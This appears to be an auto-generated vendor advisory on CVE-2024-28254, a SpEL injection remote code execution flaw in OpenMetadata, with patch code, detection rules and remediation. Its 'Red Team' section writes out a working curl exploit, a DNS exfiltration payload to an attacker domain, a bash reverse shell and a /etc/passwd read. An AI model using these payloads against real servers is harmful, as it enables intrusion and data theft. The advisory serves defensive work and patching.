CVE-2024-28254
Executive Summary
CVE-2024-28254 is a critical Remote Code Execution (RCE) vulnerability in OpenMetadata, a unified metadata platform. The flaw resides in the AlertUtil::validateExpression method, which evaluates user-supplied SpEL (Spring Expression Language) expressions using a StandardEvaluationContext. This context allows the expression to access and invoke arbitrary Java classes, including java.lang.Runtime, enabling authenticated non-admin users to execute arbitrary system commands on the underlying operating system. The vulnerability is further exacerbated by a missing authorization check on the /api/v1/events/subscriptions/validation/condition/<expression> endpoint, meaning any authenticated user can trigger the exploit. The CVSS score is 8.8 (High), and the vulnerability has been addressed in OpenMetadata version 1.2.4. There are no known workarounds.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenMetadata is a Java-based application distributed as a Docker image and via source code on GitHub. The vulnerability is introduced in the application's own code, not in a third-party package. However, the exploitation relies on the Spring Framework's StandardEvaluationContext, which is a core component of Spring. The fix involves switching to SimpleEvaluationContext, which restricts the expression evaluation to a safe subset of operations. Users should ensure they are using a supported version of OpenMetadata and apply the patch immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) - Authenticated non-admin user
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Threat Level: Critical. The vulnerability allows any authenticated user to achieve full remote code execution on the server, leading to complete compromise of the OpenMetadata instance and potentially the underlying host.
Deep Dive & Mechanics
The vulnerability is a classic SpEL injection. The AlertUtil::validateExpression method is designed to validate SpEL expressions used in alert conditions. It uses the getValue method of SpEL's Expression interface, which by default uses a StandardEvaluationContext. This context provides access to all Java classes and methods, including Runtime.getRuntime().exec(), allowing an attacker to execute arbitrary commands.
The vulnerable endpoint is:
/api/v1/events/subscriptions/validation/condition/<expression>
This endpoint takes the <expression> parameter directly from the URL path and passes it to AlertUtil::validateExpression. There is no authorization check on this endpoint, meaning any authenticated user (even with the lowest privileges) can access it.
The attack flow is:
- An attacker authenticates to the OpenMetadata instance.
- The attacker crafts a malicious SpEL expression, such as:
T(java.lang.Runtime).getRuntime().exec('id') - The attacker sends a GET request to the vulnerable endpoint with the malicious expression.
- The server evaluates the expression using
StandardEvaluationContext, executing the command. - The command output is not directly returned, but the attacker can use out-of-band techniques (e.g., DNS, HTTP) to exfiltrate data.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.2.4):
// AlertUtil.java
public static boolean validateExpression(String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
// Vulnerable: Uses StandardEvaluationContext by default
return exp.getValue(Boolean.class);
}
Patched Code (1.2.4+):
// AlertUtil.java
public static boolean validateExpression(String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
// Fixed: Uses SimpleEvaluationContext to restrict access
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
return exp.getValue(context, Boolean.class);
}
The key change is the use of SimpleEvaluationContext instead of the default StandardEvaluationContext. SimpleEvaluationContext only allows access to properties and methods on the root object, preventing access to arbitrary Java classes like java.lang.Runtime.
Additionally, the patch adds an authorization check to the endpoint:
// In the controller
@GetMapping("/validation/condition/{expression}")
public ResponseEntity<Boolean> validateCondition(@PathVariable String expression) {
// Added authorization check
Authorizer.authorize(securityContext, Entity.ADMIN_USER);
return ResponseEntity.ok(AlertUtil.validateExpression(expression));
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an OpenMetadata instance (version < 1.2.4)
- Valid user credentials (any role)
Exploit Steps:
Authenticate to the OpenMetadata instance and obtain a session cookie or JWT token.
Craft a malicious SpEL expression to execute a command. For example, to execute
idand exfiltrate the output via DNS:T(java.lang.Runtime).getRuntime().exec('nslookup $(id).attacker-controlled-domain.com')Send the exploit request using
curl:curl -X GET "http://target:8585/api/v1/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec('nslookup%20%24(id).attacker-controlled-domain.com')" \ -H "Cookie: session=YOUR_SESSION_COOKIE"Monitor your DNS server for the exfiltration request.
Alternative Payloads:
- Reverse shell:
T(java.lang.Runtime).getRuntime().exec('bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"') - File read:
T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')
Note: The command output is not directly returned in the HTTP response. Use out-of-band (OOB) techniques to exfiltrate data.
Blue Team
Detection:
- Monitor for requests to
/api/v1/events/subscriptions/validation/condition/containing suspicious patterns likeT(java.lang.Runtime),exec(, orgetRuntime(). - Look for outbound DNS queries or HTTP requests to unusual domains from the OpenMetadata server.
- Monitor for unexpected child processes spawned by the Java process (e.g.,
bash,nslookup,curl).
Honeypot:
- Deploy a fake OpenMetadata instance with logging enabled.
- Log all requests to the vulnerable endpoint.
- Alert on any request containing SpEL injection patterns.
Lab Setup:
- Deploy a vulnerable OpenMetadata instance (e.g., version 1.2.3) using Docker:
docker run -d -p 8585:8585 openmetadata/server:1.2.3 - Create a non-admin user account.
- Use the exploit steps above to test detection.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/api/v1/events/subscriptions/validation/condition/with SpEL expressions in the path. - Outbound DNS queries to attacker-controlled domains.
- Outbound HTTP/HTTPS connections to unknown IPs.
Host IOCs:
- Unexpected processes spawned by the Java process (e.g.,
bash,sh,nslookup,curl,wget). - Files created in
/tmp/or other writable directories by the OpenMetadata user. - Unusual entries in the OpenMetadata application logs (e.g., errors related to SpEL evaluation).
Log IOCs:
- In OpenMetadata logs:
SpelEvaluationExceptionorExpressionEvaluationExceptionwith expressions containingT(java.lang.Runtime). - In web server logs:
GET /api/v1/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(...).
Detection Engineering
YARA Rule
rule CVE_2024_28254_SpEL_Injection {
meta:
description = "Detects SpEL injection attempts targeting CVE-2024-28254 in OpenMetadata"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-28254"
severity = "critical"
strings:
$spel_payload1 = "T(java.lang.Runtime)" ascii wide nocase
$spel_payload2 = "getRuntime().exec(" ascii wide nocase
$spel_payload3 = "T(java.lang." ascii wide nocase
$url_pattern = "/api/v1/events/subscriptions/validation/condition/" ascii wide nocase
condition:
$url_pattern and ($spel_payload1 or $spel_payload2 or $spel_payload3)
}
Sigma Rule
title: CVE-2024-28254 OpenMetadata SpEL Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-28254 via SpEL injection in OpenMetadata
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-28254
logsource:
category: webserver
product: openmetadata
detection:
selection:
cs-uri-query|contains:
- "/api/v1/events/subscriptions/validation/condition/"
- "T(java.lang.Runtime)"
- "getRuntime().exec("
condition: selection
falsepositives:
- Legitimate use of SpEL expressions by administrators (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-28254 OpenMetadata SpEL Injection Attempt"; flow:to_server,established; content:"/api/v1/events/subscriptions/validation/condition/"; http_uri; content:"T(java.lang.Runtime)"; http_uri; content:"getRuntime().exec("; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade OpenMetadata to version 1.2.4 or later.
- If upgrade is not possible, restrict network access to the OpenMetadata API to trusted IPs only.
- Disable the vulnerable endpoint by placing a reverse proxy (e.g., Nginx) in front of OpenMetadata and blocking requests to
/api/v1/events/subscriptions/validation/condition/.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block SpEL injection patterns.
- Conduct a security audit of all SpEL usage in the application.
- Enforce the principle of least privilege for API endpoints.
Patch Details:
- The fix is included in OpenMetadata version 1.2.4.
- The patch changes the SpEL evaluation context from
StandardEvaluationContexttoSimpleEvaluationContext. - The patch also adds proper authorization checks to the vulnerable endpoint.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.